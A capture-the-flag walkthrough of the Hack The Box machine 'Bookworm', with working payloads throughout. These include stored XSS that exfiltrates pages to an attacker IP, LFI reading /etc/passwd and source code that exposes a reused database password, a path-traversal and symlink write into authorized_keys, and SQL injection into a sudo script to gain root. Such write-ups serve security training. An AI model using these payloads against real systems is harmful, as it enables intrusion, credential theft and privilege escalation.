Nmap scan

We begin by scanning the box using nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Nmap 7.94 scan initiated Tue Oct 17 07:05:54 2023 as: nmap -sCV -T4 --min-rate 10000 -p- -v -oA nmap/tcp_default 10.10.11.215
Nmap scan report for 10.10.11.215
Host is up (0.028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 81:1d:22:35:dd:21:15:64:4a:1f:dc:5c:9c:66:e5:e2 (RSA)
| 256 01:f9:0d:3c:22:1d:94:83:06:a4:96:7a:01:1c:9e:a1 (ECDSA)
|_ 256 64:7d:17:17:91:79:f6:d7:c4:87:74:f8:a2:16:f7:cf (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://bookworm.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 17 07:06:08 2023 -- 1 IP address (1 host up) scanned in 14.19 seconds

Port 80 is redirecting us to http://bookworm.htb/, so lets add this to our hostfile.

Bookworm website

There is a functional bookstore website running on port 80. We can register, login, upload and purchase books.

  • Using ffuf we can conclude there a no subdomains:
1
2
┌──(kali㉿kali)-[~/htb/bookworm]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.bookworm.htb" -u http://bookworm.htb -fs 178
  • Using feroxbuster we can conclude there are some directories:
1
2
3
4
5
200      GET       82l      197w     3093c http://bookworm.htb/register                                                                                                                                                                     
302 GET 1l 4w 23c http://bookworm.htb/logout => http://bookworm.htb/
200 GET 62l 140w 2040c http://bookworm.htb/login
200 GET 239l 675w 10778c http://bookworm.htb/shop
200 GET 752l 4468w 327313c http://bookworm.htb/static/

If we add something to our basket, there is a pop up on the website:

We can now go to our basket and checkout our order, but we can also add a note:

If we try to do XSS here, we see that there is a CSP in place:

This is not a safe CSP at all:

We can easily bypass this.

XSS

If we go to our profile, we can upload a image for our avatar:

We make the following payload:

1
<script>alert(1);</script>

And we safe the file as:

1
test.js%00.jpg

Notice how we add a nullbyte in front on .jpg. This is to tell the application to ignore everything after the null bye, which makes our file actually test.js.

This file is being uploaded to the server as:

1
<img class="nav-brand" src="/static/img/uploads/17" width="40" height="40">

So we cant directly get XSS here, but we need to call our file /static/img/uploads/17 as source as a javascript file inside the note of our checkout:

If we now checkout, we can see it works!

So we have XSS, but what would we like to do with it? Well, we can see that if we change edit our note there is a unique ID for our user:

And we know that there is a bot making checkouts every few minutes. So if we can edit the note of their basket, we can let them execute our script. The idea here is to see their requests and see what is going on. We can actually see their ID in the HTML comment on the /shop page:

To see their request, we can use the following .js payload:

1
2
3
4
5
6
7
8
async function fetch_url_to_attacker(url){
const response = await fetch(url);
const source = await response.text();
const base64Source = btoa(unescape(encodeURIComponent(source))); // Encoding HTML source in Base64
const attacker = "http://10.10.14.53/?url=" + encodeURIComponent(base64Source);

fetch(attacker, { method:'POST' });
}

We upload this payload using the CSP bypass to our profile, and also edit a note for the other user. After doing so, wait for a few minutes to let the bot checkout. If we do so, we can see that we can the source base64 encoded returned to our server:

The source includes a interesting functionality which we did not know before:

1
2
3
4
5
  <td>
<a href="/download/16?bookIds=21" download="Short Story-Writing: An Art or a Trade?.pdf">Download e-book</a>
</td>

</tr>

A download functionality, possibly vulnerable to LFI

LFI

To test if we are correct and there is LFI here, we can use the following javascript payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function get_orders(html_page) {
const parser = new DOMParser();
const htmlString = html_page;
const doc = parser.parseFromString(htmlString, 'text/html');
const orderLinks = doc.querySelectorAll('tbody a');
const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href'));
return orderUrls;
}
function getDownloadURL(html) {
const container = document.createElement('div');
container.innerHTML = html;
const downloadLink = container.querySelector('a[href^="/download"]');
const downloadURL = downloadLink ? downloadLink.href.substring(0, downloadLink.href.lastIndexOf("=") + 1) + ".&bookIds=../../../../../../../../etc/passwd" : null;
return downloadURL;
}
function fetch_url_to_attacker(url) {
var attacker = "http://10.10.14.53/?url=" + encodeURIComponent(url);
fetch(url).then(async (response) => {
fetch(attacker, { method: 'POST', body: await response.arrayBuffer() });
});
}
async function get_pdf(url) {
const response = await fetch(url);
const html = await response.text();
const downloadURL = getDownloadURL(html);
if (downloadURL) {
fetch_url_to_attacker(downloadURL);
}
}
fetch("http://10.10.14.53/?trying");
fetch("http://bookworm.htb/profile")
.then(async (response) => {
const html = await response.text();
const orders = get_orders(html);
for (const path of orders) {
const fullUrl = "http://bookworm.htb" + path;
fetch_url_to_attacker(fullUrl);
get_pdf(fullUrl);
}
});

Since the files are being Downloaded as PDF we have to think about a way to download the PDF’s to our own server, we can write the following server.py script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from http.server import SimpleHTTPRequestHandler, HTTPServer
import random
from urllib.parse import urlparse, parse_qs

class RequestHandler(SimpleHTTPRequestHandler):
def do_POST(self):
# print(self.headers)

parsed_url = urlparse(self.path)
query_params = parse_qs(parsed_url.query)
if 'url' in query_params:
print(query_params['url'][0])

# Handle POST request here
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)

# print(f'POST data: {post_data.decode()}')
# if post_data.decode().isprintable():
# print(f'POST data: {post_data.decode()}')
# else:
filename = 'temp' + str(random.randint(0, 9999))
with open(filename,'wb') as f:
f.write(post_data)
print("Non ascii characters detected!! Content written to ./{} file instead.".format(filename))

self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(b'POST request received')

def do_GET(self):
# print(self.headers)
parsed_url = urlparse(self.path)
query_params = parse_qs(parsed_url.query)
if 'url' in query_params:
print(query_params['url'][0])

SimpleHTTPRequestHandler.do_GET(self)

def run_server():
server_address = ('', 80)
httpd = HTTPServer(server_address, RequestHandler)
print('Server running on http://localhost:80')

try:
httpd.serve_forever()
except KeyboardInterrupt:
pass

httpd.server_close()
print('Server stopped')

if __name__ == '__main__':
run_server()

This will write all non-ascii characters to a file “filenameXX”. Lets try and see if we can get LFI:

The etc/passwd file should be written to ./temp5210:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/htb/bookworm]                                                                                                                                                                                                            
└─$ file temp5210
temp5210: Zip archive data, at least v1.0 to extract, compression method=store

┌──(kali㉿kali)-[~/htb/bookworm]
└─$ unzip temp5210
Archive: temp5210
creating: Unknown.pdf/
replace Unknown.pdf? [y]es, [n]o, [A]ll, [N]one, [r]ename: r
new name: passwd
inflating: passwd

And now we can cat passwd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/htb/bookworm]
└─$ cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

Lets see which users have a shell:

1
2
3
4
5
6
┌──(kali㉿kali)-[~/htb/bookworm]
└─$ cat passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
frank:x:1001:1001:,,,:/home/frank:/bin/bash
neil:x:1002:1002:,,,:/home/neil:/bin/bash
james:x:1000:1000:,,,:/home/james:/bin/bash

Using LFI, we will now download the javascript source to find credentials. To find the path of the source we can download the /proc/self/environ file and see that it runs under:

1
proc/self/cwd

So we will first download index.js:

1
proc/self/cwd/index.js

Doing so, we can see that database is being required:

We can now use that information to get the database.js file:

1
proc/self/cwd/database.js

Inside the file we can find credentials for the database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//const sequelize = new Sequelize("sqlite::memory::");
const sequelize = new Sequelize(
process.env.NODE_ENV === "production"
? {
dialect: "mariadb",
dialectOptions: {
host: "127.0.0.1",
user: "bookworm",
database: "bookworm",
password: "FrankTh3JobGiver",
},
logging: false,
}
: "sqlite::memory::"
);

We can see the password includes the name “frank”. And since frank is also a user I tried the password with SSH:

User Frank

1
ssh frank@bookworm.htb

We can login with that password using SSH to the box.

Creds

1
frank:FrankTh3JobGiver

Database credentials

Using the database credentials we can select the user table:

1
2
3
4
5
6
7
8
9
10
11
MariaDB [bookworm]> select * from Users;
+----+--------------------+----------------+----------------------------------+------------------------+-------------------+--------------+------------+-----------+---------------------+---------------------+
| id | name | username | password | avatar | addressLine1 | addressLine2 | town | postcode | createdAt | updatedAt |
+----+--------------------+----------------+----------------------------------+------------------------+-------------------+--------------+------------+-----------+---------------------+---------------------+
| 1 | Joe Bubbler | bubbler1984 | 23d8ad788147bab0b3e50c58d0d0ca7f | /static/img/uploads/1 | 2436 North Road | | Bath | BA56 9AX | 2023-01-30 20:10:04 | 2023-01-30 20:10:04 |
| 2 | Angus Gardener | angussy | 4f6b9a1f7a17192ea81489dbf920c1c2 | /static/img/uploads/2 | 76 Grove Lane | | Truda | TR66 1A | 2023-01-30 20:10:04 | 2023-01-30 20:10:04 |
| 3 | Jakub Particles | jakub1993 | 1fd17f5623370abe7ba9929f7b2b7982 | /static/img/uploads/3 | 16 Station Avenue | | Bradford | BD60 0ZZZ | 2023-01-30 20:10:04 | 2023-01-30 20:10:04 |
| 4 | Sally Smith | sallysmithy | 254aa41454d9626e7716ea48e9169dbf | /static/img/uploads/6 | 51 Damage Lane | | Manchester | MA 5QAA | 2023-01-30 20:10:04 | 2023-01-30 20:10:04 |
| 5 | Adam Broomcupboard | totalsnack | cb9774805ece216aebe01e90f5379995 | /static/img/uploads/5 | 6660 School Road | | Newcastle | NE53 D9A | 2023-01-30 20:10:04 | 2023-01-30 20:10:04 |
| 6 | Adamant Watson | awawawawawaw | f7d840d46c7511b491d84e523260456d | /static/img/uploads/4 | 62 West Lane | | St Albans | AL1 6CC | 2023-01-30 20:10:04 | 2023-01-30 20:10:04 |

We do not find a hash for any of the other users on the system. So we forget the hashes for now.

Converter

We cannot change directory to /home/james but we can for /home/neil. Inside his home directory there is a folder “converter”:

1
2
3
4
5
6
7
8
9
10
11
12
frank@bookworm:/home/neil/converter$ ls -la
total 104
drwxr-xr-x 7 root root 4096 May 3 2023 .
drwxr-xr-x 6 neil neil 4096 Dec 23 13:44 ..
drwxr-xr-x 8 root root 4096 May 3 2023 calibre
-rwxr-xr-x 1 root root 1658 Feb 1 2023 index.js
drwxr-xr-x 96 root root 4096 May 3 2023 node_modules
drwxrwxr-x 2 root neil 4096 Dec 23 10:55 output
-rwxr-xr-x 1 root root 438 Jan 30 2023 package.json
-rwxr-xr-x 1 root root 68895 Jan 30 2023 package-lock.json
drwxrwxr-x 2 root neil 4096 Dec 23 13:20 processing
drwxr-xr-x 2 root root 4096 May 3 2023 templates

This looks like another webserver, if we look for listening ports I noticed port 3001:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
frank@bookworm:/home/neil/converter$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -

If we curl the port we can see that it is the converter app;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
frank@bookworm:/home/neil/converter$ curl 127.0.0.1:3001/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>E-book Converter</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js" integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN" crossorigin="anonymous"></script>
</head>
<body>
<div class="container mt-4">
<h1 class="mt-4">Bookworm Converter Demo</h1>

Using chisel, we will forward the port 3001 to our localhost:

Server

1
chisel server -p 9999 --reverse &

Client

1
./chisel client 10.10.14.53:9999 R:1234:127.0.0.1:3001 &

If we go to our localhost port 1234 we can now interact with the app:

If we take a look how our file is processed in the index.js source:

1
2
3
4
5
6
const fileName = `${fileId}${path.extname(convertFile.name)}`;
const filePath = path.resolve(path.join(__dirname, "processing", fileName));
await convertFile.mv(filePath);

const destinationName = `${fileId}.${outputType}`;
const destinationPath = path.resolve(path.join(__dirname, "output", destinationName));

We can see how it processes our file using the outputType and filename. We can modify our request in burp to add our public SSH key to the authorized_keys file of neil using:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-----------------------------384825019312117997691438621033
Content-Disposition: form-data; name="convertFile"; filename="test.html"
Content-Type: text/html

<!DOCTYPE html>
<html lang="en">
<body>
<p> ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuwRyShS3BIm5dskMd42Bzq3s9KHqwHuD4OHRUbjVZj7epBojojnXwQlZv1HvKlkbmeJ9jKYbzd3FzEnF3OJ8UGSkOjFQmYrdvLJafSqW7Td9C8lNEzdAblPgeAhe2w7i8SRaT+SK4s8zXnHepSALjx1C/cr8oc2rAh7j2i0TYbxFZ5GeUdaafyylH/PzY/u9eXkO+khPFRxSA340U0tiSsKZOE7jzTlQRoVBFZimeDVOH3ICwwOgATAZIHdNkuAc4LNs/RAxxVGXTWqie4F3RjxGokM+RdIBampB/JZ6oVWcslQer+7L5Hf7exBIMebAlpjKg/KhZSKdosQ+cP3/pX/WOi0xWs74ykiXpcSNlauGhKSaEHmGZ1ydoprBJoO4mrAaGBeiq8uaQ68uY8hYbZmnaprA65936/zEs0BHgHnhhgXpigb8G4ZPZ08l/TIzax8HbgtNLKaI60A20imbGB5wETLRVkaMza0EJw0HeTMkaKd6GIW0mytFfr4r+ITE= kali@kali</p>
</body>
</html>

-----------------------------384825019312117997691438621033
Content-Disposition: form-data; name="outputType"

../../../../../../tmp/incendium/incendium.txt
-----------------------------384825019312117997691438621033--

We first have to make a file X.txt and link authorized_keys to it:

1
ln -s /home/neil/.ssh/authorized_keys /tmp/incendium/incendium.txt

Next, we can send the request and login with ssh to neil:

1
ssh -i id_rsa neil@bookworm.htb

Root

We can see that neil can run the following apps as root:

1
2
3
4
5
6
7
neil@bookworm:~$ sudo -l
Matching Defaults entries for neil on bookworm:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User neil may run the following commands on bookworm:
(ALL) NOPASSWD: /usr/local/bin/genlabel

Genlabel is python script. Lets copy it locally to see how we can exploit it. Just by checking the imports, we can tell its very interesting:

We can see that the following query is being executed as root:

1
2
3
cursor = cnx.cursor()
query = "SELECT name, addressLine1, addressLine2, town, postcode, Orders.id as orderId, Users.id as userId FROM Orders LEFT JOIN Users On Orders.userId = Users.id WHERE Orders.id = %s" % sys.argv[1]
cursor.execute(query)

Since we can add our input from sys.argv[1] we can inject our own SQL and write to the authorized_keys file of root:

1
sudo /usr/local/bin/genlabel "0 union select') show\n/outfile1(/root/.ssh/authorized_keys) (w) file def\noutfile1 (ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuwRyShS3BIm5dskMd42Bzq3s9KHqwHuD4OHRUbjVZj7epBojojnXwQlZv1HvKlkbmeJ9jKYbzd3FzEnF3OJ8UGSkOjFQmYrdvLJafSqW7Td9C8lNEzdAblPgeAhe2w7i8SRaT+SK4s8zXnHepSALjx1C/cr8oc2rAh7j2i0TYbxFZ5GeUdaafyylH/PzY/u9eXkO+khPFRxSA340U0tiSsKZOE7jzTlQRoVBFZimeDVOH3ICwwOgATAZIHdNkuAc4LNs/RAxxVGXTWqie4F3RjxGokM+RdIBampB/JZ6oVWcslQer+7L5Hf7exBIMebAlpjKg/KhZSKdosQ+cP3/pX/WOi0xWs74ykiXpcSNlauGhKSaEHmGZ1ydoprBJoO4mrAaGBeiq8uaQ68uY8hYbZmnaprA65936/zEs0BHgHnhhgXpigb8G4ZPZ08l/TIzax8HbgtNLKaI60A20imbGB5wETLRVkaMza0EJw0HeTMkaKd6GIW0mytFfr4r+ITE= kali@kali) writestring\noutfile1 closefile\n\n(a' as name, 'aa' as addressLine1, 'bb' as addressLine2, 'tt' as town, 'pp' as postcode, 0 as orderId, 1 as userId;"

After writing the file we can login as root:

1
ssh -i id_rsa root@bookworm.htb